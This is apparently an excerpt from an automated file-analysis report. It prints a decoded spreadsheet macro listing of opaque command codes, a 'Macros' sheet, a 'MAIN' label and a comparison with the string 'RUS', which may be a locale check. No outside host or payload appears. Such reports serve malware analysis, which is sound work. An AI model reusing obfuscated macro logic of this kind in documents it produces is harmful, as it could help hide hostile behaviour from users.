@cmd00d7 = "r" , , = 1
@cmd00d7 = "s" , , = 1
@cmd00d7 = "f" , , = 1
@cmd00d7 = "t" , , = 1
@cmd80af @cmd810c 30 = "RUS"
@cmd0143 = ,
@cmd0143 = "Macros" ,
MAIN
@cmd809e

Open this report in the interactive analyzer, or submit your own file for analysis.